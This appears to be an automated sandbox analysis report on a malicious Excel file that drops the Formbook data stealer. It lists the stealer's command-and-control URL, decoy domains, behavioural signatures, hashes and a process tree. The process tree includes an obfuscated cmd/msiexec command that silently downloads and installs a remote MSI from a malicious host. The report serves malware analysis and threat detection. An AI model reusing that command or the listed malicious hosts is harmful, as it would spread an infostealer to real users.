Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    07-05-2021 11:40

General

  • Target

    814e1a31a6bff8df45a6393430e9c0b7bbaddafc.xls

  • Size

    37KB

  • MD5

    ccaacde2a2fea467aacb4d46c0f6d92a

  • SHA1

    814e1a31a6bff8df45a6393430e9c0b7bbaddafc

  • SHA256

    c2c6534ff0fbb2099535e54323aec998d82de2811f6fd82337927c9d866e01f4

  • SHA512

    6592b22bb684fa3a47f33f666c6a3af666b59052adbce1088dfa9031b1f862328ba3d533f03abd3e47fe34d5d05db2873feeec8dae7d08c23bc88cb51b4c19ee

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.111bjs.com/ccr/

Decoy

abdullahlodhi.com

jevya.com

knoxvillerestaurant.com

mekarauroko7389.com

cricketspowder.net

johannchirinos.com

orangeorganical.com

libero-tt.com

lorenaegianluca.com

wintab.net

modernmillievintage.com

zgdqcyw.com

jeffabildgaardmd.com

nurulfikrimakassar.com

findyourchef.com

innovationsservicegroup.com

destek-taleplerimiz.com

whfqqco.icu

kosmetikmadeingermany.com

dieteticos.net

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Formbook Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\814e1a31a6bff8df45a6393430e9c0b7bbaddafc.xls"
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/556791.msi /qn
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1260
        • C:\Windows\system32\msiexec.exe
          mSiExec /i http://farm-finn.com/admin/556791.msi /qn
          4⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:3568
    • C:\Windows\SysWOW64\autochk.exe
      "C:\Windows\SysWOW64\autochk.exe"
      2⤵
        PID:4152
      • C:\Windows\SysWOW64\NETSTAT.EXE
        "C:\Windows\SysWOW64\NETSTAT.EXE"
        2⤵
        • Suspicious use of SetThreadContext
        • Gathers network information
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4164
        • C:\Windows\SysWOW64\cmd.exe
          /c del "C:\Windows\Installer\MSI41C5.tmp"
          3⤵
            PID:4192
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\Installer\MSI41C5.tmp
          "C:\Windows\Installer\MSI41C5.tmp"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Windows\Installer\MSI41C5.tmp
            "C:\Windows\Installer\MSI41C5.tmp"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            PID:4108

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        MD5

        4fcb2a3ee025e4a10d21e1b154873fe2

        SHA1

        57658e2fa594b7d0b99d02e041d0f3418e58856b

        SHA256

        90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228

        SHA512

        4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff

      • C:\Windows\Installer\MSI41C5.tmp

        MD5

        2b1cb416ade4d567beae5b90f78881a6

        SHA1

        bb6cfc2f205a922620eeca38406e9ca2ff2875bf

        SHA256

        ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3

        SHA512

        f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09

      • C:\Windows\Installer\MSI41C5.tmp

        MD5

        2b1cb416ade4d567beae5b90f78881a6

        SHA1

        bb6cfc2f205a922620eeca38406e9ca2ff2875bf

        SHA256

        ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3

        SHA512

        f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09

      • C:\Windows\Installer\MSI41C5.tmp

        MD5

        2b1cb416ade4d567beae5b90f78881a6

        SHA1

        bb6cfc2f205a922620eeca38406e9ca2ff2875bf

        SHA256

        ac2bc57ced40d79ee9507ee3259682c9a545a1290c2dbd4e0a5045b1ae5e61f3

        SHA512

        f96dc90e2ef21cb6ce5334d4b3b1043b51862fb9686afdc41da95188d653f6f69d013b62c9301425b95f16e259a4d672e39418c8a849dd5b9b98e20a18853a09

      • \Users\Admin\AppData\Local\Temp\nst432A.tmp\ie2mi.dll

        MD5

        7795b5a3842f3220526b9b5c0792c91a

        SHA1

        69d6e1a264aab15d749a70a74d63de59c266e3b4

        SHA256

        7d931a93e761686bde7d6a79253cb03378ee28f8d12c683a9017540e798d2988

        SHA512

        45bf7270aee9e4ccbd84107490469e455ac4bc6faac7e1aff9cc4453c9c07afc8e64dbef955e248116d28f49b51f6596812d8366ed057ddc73ab061aecfcc43e

      • memory/800-187-0x00000000023A0000-0x00000000023A2000-memory.dmp

        Filesize

        8KB

      • memory/800-181-0x0000000000000000-mapping.dmp

      • memory/1260-179-0x0000000000000000-mapping.dmp

      • memory/3048-207-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-210-0x0000000001270000-0x0000000001280000-memory.dmp

        Filesize

        64KB

      • memory/3048-220-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-219-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-217-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-218-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-215-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-216-0x0000000001270000-0x0000000001280000-memory.dmp

        Filesize

        64KB

      • memory/3048-214-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-213-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-212-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-211-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-191-0x0000000005700000-0x0000000005887000-memory.dmp

        Filesize

        1.5MB

      • memory/3048-209-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-208-0x0000000001270000-0x0000000001280000-memory.dmp

        Filesize

        64KB

      • memory/3048-206-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-205-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-200-0x0000000000DB0000-0x0000000000DC0000-memory.dmp

        Filesize

        64KB

      • memory/3048-204-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-203-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-199-0x0000000005890000-0x00000000059A4000-memory.dmp

        Filesize

        1.1MB

      • memory/3048-201-0x0000000000DE0000-0x0000000000DF0000-memory.dmp

        Filesize

        64KB

      • memory/3048-202-0x0000000001250000-0x0000000001260000-memory.dmp

        Filesize

        64KB

      • memory/3568-180-0x0000000000000000-mapping.dmp

      • memory/3944-116-0x00007FF800890000-0x00007FF8008A0000-memory.dmp

        Filesize

        64KB

      • memory/3944-114-0x00007FF7D7890000-0x00007FF7DAE46000-memory.dmp

        Filesize

        53.7MB

      • memory/3944-122-0x00007FF821040000-0x00007FF82212E000-memory.dmp

        Filesize

        16.9MB

      • memory/3944-115-0x00007FF800890000-0x00007FF8008A0000-memory.dmp

        Filesize

        64KB

      • memory/3944-123-0x00007FF81F140000-0x00007FF821035000-memory.dmp

        Filesize

        31.0MB

      • memory/3944-119-0x00007FF800890000-0x00007FF8008A0000-memory.dmp

        Filesize

        64KB

      • memory/3944-118-0x00007FF800890000-0x00007FF8008A0000-memory.dmp

        Filesize

        64KB

      • memory/3944-117-0x00007FF800890000-0x00007FF8008A0000-memory.dmp

        Filesize

        64KB

      • memory/4108-185-0x000000000041EBB0-mapping.dmp

      • memory/4108-190-0x00000000009F0000-0x0000000000A04000-memory.dmp

        Filesize

        80KB

      • memory/4108-188-0x0000000000400000-0x000000000042E000-memory.dmp

        Filesize

        184KB

      • memory/4108-189-0x0000000000A10000-0x0000000000D30000-memory.dmp

        Filesize

        3.1MB

      • memory/4164-195-0x0000000001260000-0x000000000128E000-memory.dmp

        Filesize

        184KB

      • memory/4164-198-0x0000000003820000-0x00000000038B3000-memory.dmp

        Filesize

        588KB

      • memory/4164-194-0x0000000001310000-0x000000000131B000-memory.dmp

        Filesize

        44KB

      • memory/4164-196-0x0000000003AC0000-0x0000000003DE0000-memory.dmp

        Filesize

        3.1MB

      • memory/4164-192-0x0000000000000000-mapping.dmp

      • memory/4192-193-0x0000000000000000-mapping.dmp